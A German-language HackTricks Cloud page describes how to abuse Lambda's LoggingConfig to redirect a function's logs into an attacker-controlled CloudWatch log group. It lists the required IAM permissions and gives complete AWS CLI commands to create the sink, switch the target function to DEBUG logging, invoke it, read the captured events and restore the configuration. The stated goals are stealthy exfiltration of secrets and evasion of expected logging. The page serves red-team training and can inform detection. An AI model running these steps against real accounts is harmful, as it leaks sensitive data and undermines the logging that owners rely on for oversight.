AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
Reading time: 3 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Missbrauche die erweiterten Logging-Steuerungen lambda:UpdateFunctionConfiguration, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs Loggruppe umzuleiten. Das funktioniert ohne Änderung des Codes oder der Ausführungsrolle (die meisten Lambda-Rollen beinhalten bereits logs:CreateLogGroup/CreateLogStream/PutLogEvents über AWSLambdaBasicExecutionRole). Wenn die Funktion Secrets/Request-Bodies ausgibt oder mit Stacktraces abstürzt, kannst du diese aus der neuen Loggruppe sammeln.
Erforderliche Berechtigungen
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (oder verlasse dich auf vorhandene Trigger)
- logs:CreateLogGroup (oft nicht erforderlich, wenn die Funktionsrolle es hat)
- logs:FilterLogEvents (zum Lesen der Events)
Schritte
- Erstelle eine Ziel-Loggruppe
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
- Leite die Logs der Ziel-Funktion um
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
Warten Sie, bis LastUpdateStatus den Wert Successful annimmt:
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
- Sink aufrufen und daraus lesen
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
Auswirkung
- Heimlich alle Anwendungs-/System-Logs in eine von dir kontrollierte Log-Gruppe umleiten und damit die Erwartung umgehen, dass Logs nur in
/aws/lambda/<fn>landen. - Sensible Daten exfiltrieren, die von der Funktion ausgegeben oder in Fehlermeldungen sichtbar werden.
Bereinigung
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
Hinweise
- Logging controls sind Teil von Lambda’s
LoggingConfig(LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel). - Standardmäßig sendet Lambda Logs an
/aws/lambda/<function>, aber Sie können auf jeden LogGroup-Namen zeigen; Lambda (oder die execution role) erstellt diesen, wenn es erlaubt ist.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud